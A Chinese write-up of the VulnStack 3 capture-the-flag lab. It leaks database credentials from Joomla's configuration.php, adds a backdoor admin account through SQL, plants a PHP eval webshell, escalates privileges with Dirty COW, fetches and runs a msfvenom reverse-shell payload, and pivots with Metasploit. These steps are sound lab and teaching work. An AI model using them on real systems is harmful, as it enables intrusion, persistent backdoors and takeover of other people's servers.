靶场链接:漏洞详情
在虚拟机的网络编辑器中添加两个仅主机网卡
信息搜集
端口扫描
外网机处于网端192.168.1.0/24中,扫描外网IP端口,开放了80 22 3306端口
80端口http服务,可以尝试登录网页
3306端口mysql服务,可以尝试SQL注入,远程连接MySQL等
首先发现80端口网站是个joomla,探测了一下版本,发现是3.9.2版本较高
目录扫描
msf获取joomla cms版本信息
访问/administrator/index.php,发现不是弱密码,爆破也登录不了
在网上搜索,可以利用cms框架的配置文件的路径,看是否有敏感信息泄露
/configuration.php
找到了数据库的用户名和密码 testuser/cvcvgjASD!@,还有数据库名,表名等信息
漏洞利用
利用敏感信息泄露,得到mysql的用户名密码:testuser/cvcvgjASD!@,可以远程连接MySQL数据库,添加用户名密码,成功登录后台,提升了权限。想到3306端口是开启的,有MySQL的用户名密码信息泄露,可以远程登录目标机的数据库,添加一个用户名密码进行登录
拿到了数据库下一步就是要想办法添加一个账户,查看数据库后发现密码是加密存储的
想到可以自己插加密的密码去修改密码,找joomla的修改密码方法,直接加一条数据,根据joomla的官方文档成功的添加一个用户admin2/serect。
帮助文档
#更改用户名和密码:
"方法1:configuration.php文件"
如果您可以访问您的 configuration.php 在你的服务器的Joomla的安装文件,然后你就可以恢复密码使用以下方法。
1。使用FTP程序连接到您的站点。找到configuration.php文件看文件的权限。如果权限是444或其他值,然后改变configuration.php文件的权限为644。这将有助于防止问题的发生configuration.php文件上传时在这个过程后。
2. 下载配置文件。
3. 打开configuration.php文件被下载的文本编辑器,比如notepad++并添加这行
public $root_user='myname';
在列表的底部,myname是一个用户名,管理员访问您知道密码。用户名或更高的用户名也可以用来代替具有管理员权限的用户名。
4. 保存configuration.php文件并将其上传到站点。您可以在配置上保留权限。configuration.php文件644。
此用户现在将是临时的超级管理员。
5. 登录到后端并更改管理员密码您没有密码或创建一个新的超级管理员用户。 如果您创建新用户,您可能需要根据您的情况来阻止或删除旧用户。
6.当完成后,务必使用这里的“点击尝试自动”环节中出现的警告框,删除线,加入到configuration.php文件。如果使用链接不成功,然后再删除添加的线从你的configuration.php文件使用文本编辑器。上传文件到网站configuration.php。
7. 使用你的FTP程序,验证了configuration.php文件的文件权限,他们应该是444。如果你手动删除添加的行,然后更改文件权限的configuration.php文件444。#编辑数据库加入超极管理
"方法1:直接编辑数据库"
如果上面的方法不起作用,你还有另外两个选项,这两个选项都需要直接与MySQL数据库一起工作。
更改数据库中的密码
如果管理用户仍然被定义,最简单的选项是将数据库中的密码更改为已知值。这就需要你有机会使用phpMyAdmin或另一个客户端的MySQL数据库。
Stop hand nuvola.svg.png确定您更改您的密码一旦您重新访问
这些指示將说明如何手动更改密码到Word中 - "secret"
1.导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
2.找到并单击“添加表_users”在表的列表(注:你可能有一个前缀,jos_,简单地去_users表你的前缀)。
3.点击“浏览”按钮在顶部工具栏。这将显示为该站点设置的所有用户。
4.查找要更改其密码的用户并按该行的编辑图标。
5.将显示允许您编辑密码字段的窗体。复制的意义
d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
6.在密码栏中按下“Go”按钮。phpMyAdmin应该显示消息“受影响的行数:1.此时,密码应改为'secret'。
7.使用此用户和密码登录并将此用户的密码更改为安全值。检查所有用户使用用户管理器,以确保它们是合法的。如果您已被黑客攻击,您可能要更改网站上的所有密码。
"方法2:添加新超级管理员使用"
如果更改密码不起作用,或者您不确定哪个用户是超级管理员组的成员,您可以使用此方法创建新用户。
导航到phpMyAdmin,选择Joomla的数据库!站点中的左下拉列表框。这将显示屏幕左侧的数据库表。
按工具栏中的“SQL”按钮在选定的数据库上运行SQL查询。这将显示一个字段名为“Run SQL query/queries on database<您的数据库>”。
删除任何文本在这一领域,复制并粘贴以下查询下面,按下“Go”按钮执行查询和添加新的管理员用户表。
使用下面的SQL查询添加另一个管理员帐户。
Stop hand nuvola.svg.png确保您的数据库表前缀匹配!
下面的代码使用jos31_作为表名的前缀仅是一个示例表前缀。当你第一次安装Joomla的前缀是“random 或你设定的具体过。你需要改变所有发生的jos31_”(你的安装设置前缀)发现,在下面的代码前缀安装使用。Joomla使用SQL代码 Joomla 2.5 Joomla 3.x Joomla 4.x
INSERT INTO `jos31_users`
(`name`, `username`, `password`, `params`, `registerDate`, `lastvisitDate`, `lastResetTime`)
VALUES ('Administrator2', 'admin2',
'd2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199', '', NOW(), NOW(), NOW());
INSERT INTO `jos31_user_usergroup_map` (`user_id`,`group_id`)
VALUES (LAST_INSERT_ID(),'8');在这一点上,你应该能够登录到Joomla的后端!用用户名和密码“Admin2”的“密码”。登录后,转到用户管理器并将密码更改为新的安全值,并向帐户添加有效的电子邮件地址。如果有机会你被“黑客攻击”,一定要检查所有的用户是合法的,特别是超级管理员组的任何成员。
Stop hand nuvola.svg.pngWarning!
警告:此页上显示的密码值为公开知识,仅用于恢复。您的网站可能会被黑客攻击,如果你不改变密码到一个安全值登录后。请确保登录后将密码更改为安全值。上面的例子更改密码为“select”。其他两个可能的值如下所示:
- password = "this is the MD5 and salted hashed password"
------------------------------------------------------
- admin = 433903e0a9d6a712e00251e44d29bf87:UJ0b9J5fufL3FKfCc0TLsYJBh2PFULvT
- secret = d2064d358136996bd22421584a7cb33e:trd7TvKHx6dMeoMmBVxYmg0vuXEA4199
- OU812 = 5e3128b27a2c1f8eb53689f511c4ca9e:J584KAEv9d8VKwRGhb8ve7GdKoG7isMm
传php木马
点击Bee3 Details and Files
在index.php 文件中 写入一句话木马 <?php eval($_POST['123']); ?>,点击Save
根据扫描的内容,猜测路径是/templates/protostar/index.php
绕dis_func
蚁剑的虚拟终端执行不了命令
通过蚁剑在templates/beez3目录下写一个phpinfo文件
访问/templates/beez3/phpinfo.php
发现 命令执行被禁用
推荐蚁剑插件:
检测永恒之蓝: https://github.com/AntSword-Store/AS_MS17-010_Scan
disable_function绕过:https://github.com/AntSword-Store/as_bypass_php_disable_functions
木马扫描: https://github.com/AntSword-Store/as_trojan_scans
出网探测: https://github.com/AntSword-Store/AS_Out-of-Network
成功绕过并且看见有93的段
在/tmp/mysql看到了账号密码
脏牛提权
使用xftp上传exp,上传到临时文件夹/tmp下
对dirty.c进行编译
gcc -pthread dirty.c -o dirty -lcrypt
执行编译后的文件,并设置密码
./dirty 123456
su firefart,输入密码123456
提权成功
上线msf
msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -f elf>r.elf
wget http://192.168.1.102/r.elf
chmod +x r.elf
./r.elf
反弹shell给msf
msf生成Linux的shell,用于后期代理横向
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.129 LPORT=9999 -f elf > shell.elf
添加路由
run get_local_subnets
run autoroute -s 192.168.93.0/255.255.255.0
端口转发
路由转发MSF入段
msf路由转发,让msf进入内网93段sock5代理,让kali进入内网93段msf路由转发> route print> route add 192.168.93.0 255.255.255.0 1> route print
参考文章:
Vlunstack ATT&CK实战系列——红队实战(三)Writeup - 先知社区
红日安全红队靶场(三)一次简单的内网渗透_红日3靶场-CSDN博客
VulnStack-ATT&CK-3(红日靶场三)_红日靶场3-CSDN博客
https://www.cnblogs.com/hellobao/articles/17247184.html
红日靶场第三关_红日靶场3攻略-CSDN博客
红日靶场3-vulnstack3 | apsry
ATT&CK红队评估(红日靶场三) - FreeBuf网络安全行业门户